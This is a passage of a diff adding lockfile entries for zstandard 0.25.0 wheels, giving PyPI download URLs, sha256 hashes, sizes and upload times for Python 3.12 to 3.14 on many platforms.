+    { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" },
+    { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" },
+    { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" },
+    { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" },
+    { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" },
+    { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" },
+    { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" },
+    { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" },
+    { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" },
+    { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" },
+]